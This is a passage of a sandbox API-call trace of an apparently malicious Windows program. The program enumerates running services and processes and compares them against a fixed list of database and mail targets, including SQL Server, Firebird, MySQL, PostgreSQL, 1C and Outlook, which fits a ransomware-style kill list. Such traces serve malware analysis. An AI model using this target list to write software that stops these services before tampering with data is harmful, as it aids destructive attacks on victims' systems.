lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0047.673] GetLastError () returned 0xea [0047.673] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x123e) returned 0x36b8758 [0047.673] EnumServicesStatusExW (in: hSCManager=0x640170, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b8758, cbBufSize=0x123e, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b8758, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0047.673] CloseServiceHandle (hSCObject=0x640170) returned 1 [0047.673] lstrlenW (lpString="Appinfo") returned 7 [0047.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.674] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.674] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.674] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.674] lstrlenW (lpString="AudioSrv") returned 8 [0047.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.674] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.674] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.674] lstrlenW (lpString="BFE") returned 3 [0047.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.674] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.674] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.674] lstrlenW (lpString="CryptSvc") returned 8 [0047.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.674] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.674] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.674] lstrlenW (lpString="CscService") returned 10 [0047.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.675] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.675] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.675] lstrlenW (lpString="DcomLaunch") returned 10 [0047.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.675] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.675] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.675] lstrlenW (lpString="Dhcp") returned 4 [0047.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.675] lstrlenW (lpString="Dnscache") returned 8 [0047.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.675] lstrlenW (lpString="DPS") returned 3 [0047.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.675] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.675] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.675] lstrlenW (lpString="eventlog") returned 8 [0047.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.676] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.676] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.676] lstrlenW (lpString="EventSystem") returned 11 [0047.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.676] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.676] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.676] lstrlenW (lpString="gpsvc") returned 5 [0047.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.676] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.676] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.676] lstrlenW (lpString="iphlpsvc") returned 8 [0047.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.676] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.676] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.676] lstrlenW (lpString="LanmanServer") returned 12 [0047.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.676] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.676] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.676] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.677] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.677] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.677] lstrlenW (lpString="lmhosts") returned 7 [0047.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.677] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.677] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.677] lstrlenW (lpString="MMCSS") returned 5 [0047.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.677] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.677] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.677] lstrlenW (lpString="MpsSvc") returned 6 [0047.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.677] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.677] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.677] lstrlenW (lpString="Netman") returned 6 [0047.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.677] lstrlenW (lpString="netprofm") returned 8 [0047.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.678] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.678] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.678] lstrlenW (lpString="NlaSvc") returned 6 [0047.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.678] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.678] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.678] lstrlenW (lpString="nsi") returned 3 [0047.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.678] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.678] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.678] lstrlenW (lpString="PcaSvc") returned 6 [0047.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.678] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.678] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.678] lstrlenW (lpString="PlugPlay") returned 8 [0047.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.678] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.678] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.678] lstrlenW (lpString="Power") returned 5 [0047.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.679] lstrlenW (lpString="ProfSvc") returned 7 [0047.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.679] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.679] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.679] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.679] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.679] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.679] lstrlenW (lpString="RpcSs") returned 5 [0047.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.679] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.679] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.679] lstrlenW (lpString="SamSs") returned 5 [0047.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.679] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.679] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.679] lstrlenW (lpString="Schedule") returned 8 [0047.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.680] lstrlenW (lpString="SENS") returned 4 [0047.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.680] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.680] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.680] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.680] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.680] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.680] lstrlenW (lpString="Spooler") returned 7 [0047.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.680] lstrlenW (lpString="SysMain") returned 7 [0047.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.680] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.680] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.680] lstrlenW (lpString="Themes") returned 6 [0047.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.681] lstrlenW (lpString="TrkWks") returned 6 [0047.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.681] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.681] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.681] lstrlenW (lpString="UxSms") returned 5 [0047.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.681] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.681] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.681] lstrlenW (lpString="VSS") returned 3 [0047.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.681] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.681] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.681] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.681] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.681] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.681] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.682] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.682] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.682] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.682] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.682] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.682] lstrlenW (lpString="Winmgmt") returned 7 [0047.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.682] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.682] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.682] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.682] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b8758 | out: hHeap=0x5a0000) returned 1 [0047.682] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0047.685] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.687] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.688] lstrlenW (lpString="System") returned 6 [0047.688] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.688] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.688] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.688] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.688] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.688] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.688] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.688] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.689] lstrlenW (lpString="smss.exe") returned 8 [0047.689] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.689] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.689] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.689] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.689] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.689] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.689] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.689] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.689] lstrlenW (lpString="csrss.exe") returned 9 [0047.689] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.690] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.690] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.690] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.690] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.690] lstrlenW (lpString="wininit.exe") returned 11 [0047.690] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.690] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.690] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0047.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0047.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0047.690] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0047.690] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.691] lstrlenW (lpString="csrss.exe") returned 9 [0047.691] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.691] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.692] lstrlenW (lpString="winlogon.exe") returned 12 [0047.692] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: 